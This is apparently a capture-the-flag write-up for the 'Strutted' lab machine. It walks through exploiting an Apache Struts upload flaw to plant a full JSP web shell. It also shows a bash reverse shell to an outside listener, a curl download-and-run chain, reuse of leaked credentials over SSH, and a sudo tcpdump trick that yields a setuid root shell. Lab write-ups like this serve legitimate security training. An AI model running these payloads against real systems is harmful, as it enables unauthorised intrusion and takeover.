Strutted

Enumeration

We start by enumerating the open tcp ports on the target machine. This can be done using the nmap tool:

nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.59 -oN allPorts

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

We add dns resolution for target machine in /etc/hosts file

10.10.11.59  strutted.htb

Now we will scan the open ports with service version detection and script scanning using -sC and -sV options

nmap -sCV -p 22,80 10.10.11.59 -oN targeted

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Strutted\xE2\x84\xA2 - Instant Image Uploads
|_http-server-header: nginx/1.18.0 (Ubuntu)

We navigate to the web page and find an image upload feature.

We also see a download button, which allows us to see the source code of the web application. We find a file named tomcat-users.xml which contains user credentials:

admin:skqKY6360z!Y

We also find that the website is using Apache Struts. We find a vulnerability in the Struts version being used: CVE-2024-53677.

This vulnerability allows for uploading files to arbitrary locations. We have to use the Upload and top.UploadFileName file parameters.

User Exploitation

This is the burpsuite request used for creating the malicious file:

POST /upload.action;jsessionid=663A2A8C0D6AB8FFF4FFB46F0ABF48EF HTTP/1.1
Host: strutted.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------35054823964779281091771702135
Content-Length: 1962
Origin: http://strutted.htb
Connection: keep-alive
Referer: http://strutted.htb/
Cookie: JSESSIONID=663A2A8C0D6AB8FFF4FFB46F0ABF48EF
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------35054823964779281091771702135
Content-Disposition: form-data; name="Upload"; filename="image.png"
Content-Type: image/png

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<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%
    String action = request.getParameter("action");
    String output = "";

    try {
        if ("cmd".equals(action)) {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                Process p = Runtime.getRuntime().exec(cmd);
                BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
                String line;
                while ((line = reader.readLine()) != null) {
                    output += line + "\\n";
                }
                reader.close();
            }
        } else {
            output = "Unknown action.";
        }
    } catch (Exception e) {
        output = "Error: " + e.getMessage();
    }
    response.setContentType("text/plain");
    out.print(output);
%>

-----------------------------35054823964779281091771702135
Content-Disposition: form-data; name="top.UploadFileName"

../../reverse.jsp
-----------------------------35054823964779281091771702135--

This way we are creating a JSP web shell at http://strutted.htb/reverse.jsp.

We set up the listeners on our machine:

echo "#!/bin/bash

bash -c "bash -i >& /dev/tcp/10.10.14.136/443 0>&1"" > reverse
python3 -m http.server 80
nc -lvnp 443

Next, step is to exploit it using this payload. .

http://strutted.htb/reverse.jsp?action=cmd&cmd=curl 10.10.14.136/reverse -o /tmp/reverse
http://strutted.htb/reverse.jsp?action=cmd&cmd=chmod +x /tmp/reverse
http://strutted.htb/reverse.jsp?action=cmd&cmd=bash /tmp/reverse

We will recieve a reverse shell on our machine running as user tomcat:

whoami

tomcat

We find a diferent password in tomcat-users.xml file inside the machine:

admin:IT14d6SSP81k

We find a directory /home/james, so we try to connect as user james with passwords we got intomcat-users.xml files:

su james

It wont work.

We try to connect to user james via ssh using credentials which failed with su:

sshpass -p "IT14d6SSP81k" ssh james@strutted.htb

And it works successfully.

whoami

james

Root Exploitation

We check if user jameshas sudo privileges:

sudo -l

Matching Defaults entries for james on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/tcpdump

We check in gtfobins a way to run commands as root using sudo tcpdump:

COMMAND=<command>
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

We use cp /bin/bash /tmp/bash; chmod +s /tmp/bash as command to generate a bash priveged version.

Then we migrate to root using the binary we just copied:

/tmp/bash -p
whoami

root

Finally, we can read the root flag:

cat /root/root.txt

root flag value

Conclusion

In this write-up, we have demonstrated a complete exploitation path from a web shell to root access on a vulnerable machine. By leveraging a JSP web shell, we were able to gain initial access and escalate privileges through various techniques, including SSH credential reuse and exploiting misconfigured sudo permissions.